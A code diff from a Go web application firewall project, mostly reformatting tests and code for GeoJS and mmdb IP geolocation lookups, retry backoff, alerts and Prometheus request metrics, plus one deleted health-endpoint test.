if !slices.Contains(askedGeoJS(), client) {
|
|
||||||
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
|
|
||||||
}
|
|
||||||
|
|
||||||
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
|
|
||||||
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
|
|
||||||
}
|
|
||||||
|
|
||||||
if checked := server.AbuseIPDB.Checked(); checked != 1 {
|
|
||||||
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
package discriminator_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// With a limit of one request a minute, any request counted before
|
|
||||||
// the last one would have it refused.
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
|
|
||||||
|
|
||||||
const (
|
|
||||||
healthChecks = 3
|
|
||||||
contentType = "text/plain; charset=utf-8"
|
|
||||||
)
|
|
||||||
|
|
||||||
for range healthChecks {
|
|
||||||
got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
|
|
||||||
http.StatusOK)
|
|
||||||
|
|
||||||
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
|
|
||||||
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
|
|
||||||
"with %q", got.body, got.header.Get("Content-Type"), contentType)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
|
|
||||||
if line.ResponseContentType != contentType {
|
|
||||||
t.Errorf("health check's log line has response_content_type %q, "+
|
|
||||||
"want %q", line.ResponseContentType, contentType)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -26,7 +26,7 @@ type FileParams struct {
|
|||||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||||
// (SWW_LOOKUP_DB_PATH).
|
// (SWW_LOOKUP_DB_PATH).
|
||||||
Path string
|
Path string
|
||||||
// Now tells the time, normally time.Now.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
// ProcessLog receives each reading of the file, and why a replacement
|
// ProcessLog receives each reading of the file, and why a replacement
|
||||||
// of it cannot be read.
|
// of it cannot be read.
|
||||||
@@ -236,7 +236,11 @@ func read(path string) (*maxminddb.Reader, error) {
|
|||||||
|
|
||||||
reader, err := maxminddb.OpenBytes(data)
|
reader, err := maxminddb.OpenBytes(data)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
return nil, fmt.Errorf(
|
||||||
|
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
||||||
|
path,
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return reader, nil
|
return reader, nil
|
||||||
|
|||||||
@@ -26,11 +26,21 @@ const (
|
|||||||
testClient = "203.0.113.9/32"
|
testClient = "203.0.113.9/32"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
|
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
|
germany := lookuptest.Network{
|
||||||
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
|
ASN: "AS64496",
|
||||||
|
ASName: "Example Net",
|
||||||
|
Country: "DE",
|
||||||
|
}
|
||||||
|
northKorea := lookuptest.Network{
|
||||||
|
ASN: "AS64511",
|
||||||
|
ASName: "Other Net",
|
||||||
|
Country: "KP",
|
||||||
|
}
|
||||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: germany,
|
testNetblock: germany,
|
||||||
@@ -62,7 +72,13 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T)
|
|||||||
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
||||||
Answered: now,
|
Answered: now,
|
||||||
}) {
|
}) {
|
||||||
t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
|
t.Errorf(
|
||||||
|
"%s has the answer %+v, want %+v, answered %s",
|
||||||
|
client,
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
now,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -122,7 +138,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
|||||||
// reading due by then is done. The test sends the changes itself, as the
|
// reading due by then is done. The test sends the changes itself, as the
|
||||||
// watch of a directory cannot run in a bubble.
|
// watch of a directory cannot run in a bubble.
|
||||||
|
|
||||||
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -137,7 +155,8 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
|||||||
other := filepath.Join(dir, "replacement.mmdb")
|
other := filepath.Join(dir, "replacement.mmdb")
|
||||||
writeDatabase(t, other, "KP")
|
writeDatabase(t, other, "KP")
|
||||||
|
|
||||||
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
|
//nolint:gosec // a file the test wrote
|
||||||
|
replacement, err := os.ReadFile(other)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read %s: %v", other, err)
|
t.Fatalf("read %s: %v", other, err)
|
||||||
}
|
}
|
||||||
@@ -176,15 +195,20 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
|||||||
wantCountry(t, f, "KP")
|
wantCountry(t, f, "KP")
|
||||||
|
|
||||||
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
||||||
t.Errorf("read at %s, with %d failures; want read now, with none",
|
t.Errorf(
|
||||||
f.LastRead(), f.ReadFailures())
|
"read at %s, with %d failures; want read now, with none",
|
||||||
|
f.LastRead(),
|
||||||
|
f.ReadFailures(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue)
|
wantAlerts(t, queue)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
|
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -206,8 +230,12 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
|
|||||||
wantCountry(t, f, "DE")
|
wantCountry(t, f, "DE")
|
||||||
|
|
||||||
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
||||||
t.Errorf("read at %s, with %d failures; want read at %s, with one",
|
t.Errorf(
|
||||||
f.LastRead(), f.ReadFailures(), read)
|
"read at %s, with %d failures; want read at %s, with one",
|
||||||
|
f.LastRead(),
|
||||||
|
f.ReadFailures(),
|
||||||
|
read,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue, alerts.Alert{
|
wantAlerts(t, queue, alerts.Alert{
|
||||||
@@ -289,7 +317,11 @@ func writeDatabase(t *testing.T, path, country string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
|
testNetblock: {
|
||||||
|
ASN: "AS64496",
|
||||||
|
ASName: "Example Net",
|
||||||
|
Country: country,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -349,7 +381,8 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
if len(waiting) != len(want) ||
|
||||||
|
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
||||||
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -74,7 +74,7 @@ type Params struct {
|
|||||||
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
||||||
// kept.
|
// kept.
|
||||||
Answered func(Answer)
|
Answered func(Answer)
|
||||||
// Now tells the time, normally time.Now.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
// ProcessLog receives GeoJS's failures.
|
// ProcessLog receives GeoJS's failures.
|
||||||
ProcessLog *slog.Logger
|
ProcessLog *slog.Logger
|
||||||
@@ -211,7 +211,10 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
|||||||
|
|
||||||
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
||||||
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
||||||
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
|
func (g *GeoJS) LookUpWithoutWaiting(
|
||||||
|
ctx context.Context,
|
||||||
|
client netip.Prefix,
|
||||||
|
) Answer {
|
||||||
answer, _ := g.answerOrWait(ctx, client, false)
|
answer, _ := g.answerOrWait(ctx, client, false)
|
||||||
|
|
||||||
return answer
|
return answer
|
||||||
@@ -429,14 +432,21 @@ func (g *GeoJS) keep(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if err == nil && leftOut > 0 {
|
if err == nil && leftOut > 0 {
|
||||||
err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
|
err = fmt.Errorf(
|
||||||
|
"%w %d of %d addresses",
|
||||||
|
errLeftOut,
|
||||||
|
leftOut,
|
||||||
|
len(clients),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
g.metrics.GeoJSFailures.Inc()
|
g.metrics.GeoJSFailures.Inc()
|
||||||
|
|
||||||
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
g.retryDelay = min(
|
||||||
maxRetryDelay)
|
max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
||||||
|
maxRetryDelay,
|
||||||
|
)
|
||||||
g.retryAt = now.Add(g.retryDelay)
|
g.retryAt = now.Add(g.retryDelay)
|
||||||
g.asking = false
|
g.asking = false
|
||||||
|
|
||||||
@@ -482,7 +492,12 @@ func (g *GeoJS) request(
|
|||||||
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
g.url,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
||||||
}
|
}
|
||||||
@@ -514,7 +529,8 @@ func (g *GeoJS) request(
|
|||||||
CountryCode string `json:"country_code"`
|
CountryCode string `json:"country_code"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
|
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
|
||||||
|
Decode(&answers)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -85,8 +85,13 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
began := time.Now()
|
began := time.Now()
|
||||||
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
|
if waited := time.Since(began); waited != 0 ||
|
||||||
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
|
answer != (lookup.Answer{}) {
|
||||||
|
t.Errorf(
|
||||||
|
"got %+v after %s, want no answer at once",
|
||||||
|
answer,
|
||||||
|
waited,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -100,7 +105,11 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
waitForCountry(t, g, clock, client, germany)
|
waitForCountry(t, g, clock, client, germany)
|
||||||
|
|
||||||
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
||||||
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
|
t.Errorf(
|
||||||
|
"the kept answer gives the country %q, want %q",
|
||||||
|
got,
|
||||||
|
germany,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -120,7 +129,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
|
|
||||||
var earlier sync.WaitGroup
|
var earlier sync.WaitGroup
|
||||||
|
|
||||||
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
|
earlier.Go(
|
||||||
|
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
|
||||||
|
)
|
||||||
defer earlier.Wait()
|
defer earlier.Wait()
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -152,7 +163,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
|
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -197,7 +210,11 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if waited != longerTimeout {
|
if waited != longerTimeout {
|
||||||
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
|
t.Errorf(
|
||||||
|
"waited %s for the answer, want %s",
|
||||||
|
waited,
|
||||||
|
longerTimeout,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantFailures(t, m, 1)
|
wantFailures(t, m, 1)
|
||||||
@@ -340,7 +357,11 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
|
|||||||
|
|
||||||
got := g.LookUp(t.Context(), client)
|
got := g.LookUp(t.Context(), client)
|
||||||
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
||||||
t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
|
t.Errorf(
|
||||||
|
"waited %s for %+v, want no wait and no answer",
|
||||||
|
took,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -391,7 +412,10 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged, "asking GeoJS failed") ||
|
if !strings.Contains(logged, "asking GeoJS failed") ||
|
||||||
strings.Contains(logged, "203.0.113.9") {
|
strings.Contains(logged, "203.0.113.9") {
|
||||||
t.Errorf("logged %q, want the failure without the address asked about", logged)
|
t.Errorf(
|
||||||
|
"logged %q, want the failure without the address asked about",
|
||||||
|
logged,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -430,7 +454,10 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if queue.Suppressed() != 1 {
|
if queue.Suppressed() != 1 {
|
||||||
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
t.Errorf(
|
||||||
|
"%d alerts held back, want the repeat",
|
||||||
|
queue.Suppressed(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -454,11 +481,21 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
|
|||||||
clock.advance(time.Second)
|
clock.advance(time.Second)
|
||||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
||||||
wantRequests(t, geojs, 2)
|
wantRequests(t, geojs, 2)
|
||||||
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
|
wantAsked(
|
||||||
|
t,
|
||||||
|
geojs,
|
||||||
|
1,
|
||||||
|
"203.0.113.1",
|
||||||
|
"203.0.113.2",
|
||||||
|
"2001:db8:1:2::",
|
||||||
|
"203.0.113.3",
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
|
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -503,7 +540,10 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, requests+1)
|
asked := waitForRequests(t, geojs, requests+1)
|
||||||
if len(asked[requests]) != 23 {
|
if len(asked[requests]) != 23 {
|
||||||
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
|
t.Errorf(
|
||||||
|
"GeoJS was asked about %d clients, want 23",
|
||||||
|
len(asked[requests]),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -531,8 +571,11 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, 3)
|
asked := waitForRequests(t, geojs, 3)
|
||||||
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
||||||
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
|
t.Errorf(
|
||||||
len(asked[1]), len(asked[2]))
|
"GeoJS was asked about %d and then %d clients, want 200 and 1",
|
||||||
|
len(asked[1]),
|
||||||
|
len(asked[2]),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -687,7 +730,11 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
switch {
|
switch {
|
||||||
case addr == unplaced:
|
case addr == unplaced:
|
||||||
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
|
item = map[string]any{
|
||||||
|
"ip": addr,
|
||||||
|
"asn": 64512,
|
||||||
|
"organization_name": "Unknown",
|
||||||
|
}
|
||||||
case addr == leftOut && answers == answeringWithoutLeftOut:
|
case addr == leftOut && answers == answeringWithoutLeftOut:
|
||||||
continue
|
continue
|
||||||
case answers == answeringInLowerCase:
|
case answers == answeringInLowerCase:
|
||||||
@@ -804,7 +851,12 @@ func newClients() func() netip.Prefix {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantCountry checks the country g gives client.
|
// wantCountry checks the country g gives client.
|
||||||
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
|
func wantCountry(
|
||||||
|
t *testing.T,
|
||||||
|
g *lookup.GeoJS,
|
||||||
|
client netip.Prefix,
|
||||||
|
want string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := g.LookUp(t.Context(), client).Country
|
got := g.LookUp(t.Context(), client).Country
|
||||||
@@ -843,7 +895,11 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
|
|||||||
|
|
||||||
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
||||||
// gone without an answer from GeoJS.
|
// gone without an answer from GeoJS.
|
||||||
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
|
func wantRequestsWithoutGeoJSAnswer(
|
||||||
|
t *testing.T,
|
||||||
|
m *metrics.Metrics,
|
||||||
|
want float64,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
||||||
@@ -883,7 +939,11 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
|
|||||||
// It then checks that client's next request does not wait but has it asked
|
// It then checks that client's next request does not wait but has it asked
|
||||||
// about again in the background, after which g gives it the country want.
|
// about again in the background, after which g gives it the country want.
|
||||||
func waitForCountry(
|
func waitForCountry(
|
||||||
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
|
t *testing.T,
|
||||||
|
g *lookup.GeoJS,
|
||||||
|
clock *testClock,
|
||||||
|
client netip.Prefix,
|
||||||
|
want string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -45,7 +45,11 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
|
|||||||
|
|
||||||
// WriteRecords writes a lookup database at path that holds each record in
|
// WriteRecords writes a lookup database at path that holds each record in
|
||||||
// records for its netblock, and nothing for any other address.
|
// records for its netblock, and nothing for any other address.
|
||||||
func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
|
func WriteRecords(
|
||||||
|
tb testing.TB,
|
||||||
|
path string,
|
||||||
|
records map[string]mmdbtype.Map,
|
||||||
|
) {
|
||||||
tb.Helper()
|
tb.Helper()
|
||||||
|
|
||||||
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
||||||
|
|||||||
@@ -59,7 +59,10 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
|
|||||||
g.Load([]lookup.Answer{kept, stale})
|
g.Load([]lookup.Answer{kept, stale})
|
||||||
|
|
||||||
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
||||||
t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
|
t.Errorf(
|
||||||
|
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCountry(t, g, kept.Client, "FR")
|
wantCountry(t, g, kept.Client, "FR")
|
||||||
|
|||||||
@@ -41,9 +41,11 @@ type busiest struct {
|
|||||||
// for the topN busiest countries.
|
// for the topN busiest countries.
|
||||||
func newCountries(topN int) *busiest {
|
func newCountries(topN int) *busiest {
|
||||||
countries := newBusiest(topN, "country", "the client's country")
|
countries := newBusiest(topN, "country", "the client's country")
|
||||||
countries.refused = counterVec("sww_country_list_refusals_total",
|
countries.refused = counterVec(
|
||||||
|
"sww_country_list_refusals_total",
|
||||||
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
[]string{"country"})
|
[]string{"country"},
|
||||||
|
)
|
||||||
|
|
||||||
return countries
|
return countries
|
||||||
}
|
}
|
||||||
@@ -90,7 +92,11 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
|
|||||||
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
||||||
// country, the refusals by the country list as well.
|
// country, the refusals by the country list as well.
|
||||||
func (b *busiest) vecs() []*prometheus.CounterVec {
|
func (b *busiest) vecs() []*prometheus.CounterVec {
|
||||||
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
|
vecs := []*prometheus.CounterVec{
|
||||||
|
b.requests,
|
||||||
|
b.requestBytes,
|
||||||
|
b.responseBytes,
|
||||||
|
}
|
||||||
if b.refused != nil {
|
if b.refused != nil {
|
||||||
vecs = append(vecs, b.refused)
|
vecs = append(vecs, b.refused)
|
||||||
}
|
}
|
||||||
|
|||||||
+109
-45
@@ -79,14 +79,19 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_requests_in_flight",
|
Name: "sww_requests_in_flight",
|
||||||
Help: "Requests under way.",
|
Help: "Requests under way.",
|
||||||
}),
|
}),
|
||||||
requests: counterVec("sww_requests_total",
|
requests: counterVec(
|
||||||
"Requests, by the class of their status and their action.", byStatus),
|
"sww_requests_total",
|
||||||
|
"Requests, by the class of their status and their action.",
|
||||||
|
byStatus,
|
||||||
|
),
|
||||||
requestBytes: counterVec("sww_request_bytes_total",
|
requestBytes: counterVec("sww_request_bytes_total",
|
||||||
"Request body bytes, by the class of the status and the action.",
|
"Request body bytes, by the class of the status and the action.",
|
||||||
byStatus),
|
byStatus),
|
||||||
responseBytes: counterVec("sww_response_bytes_total",
|
responseBytes: counterVec(
|
||||||
|
"sww_response_bytes_total",
|
||||||
"Response body bytes, by the class of the status and the action.",
|
"Response body bytes, by the class of the status and the action.",
|
||||||
byStatus),
|
byStatus,
|
||||||
|
),
|
||||||
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
||||||
Name: "sww_request_duration_seconds",
|
Name: "sww_request_duration_seconds",
|
||||||
Help: "How long requests took, from their arrival to their end.",
|
Help: "How long requests took, from their arrival to their end.",
|
||||||
@@ -95,15 +100,20 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_upstream_duration_seconds",
|
Name: "sww_upstream_duration_seconds",
|
||||||
Help: "How long requests passed to the app took, from then to their end.",
|
Help: "How long requests passed to the app took, from then to their end.",
|
||||||
}),
|
}),
|
||||||
rateLimitHits: counterVec("sww_rate_limit_hits_total",
|
rateLimitHits: counterVec(
|
||||||
|
"sww_rate_limit_hits_total",
|
||||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||||
"its window and its kind, requests, bytes or refusals.",
|
"its window and its kind, requests, bytes or refusals.",
|
||||||
[]string{"window", "kind"}),
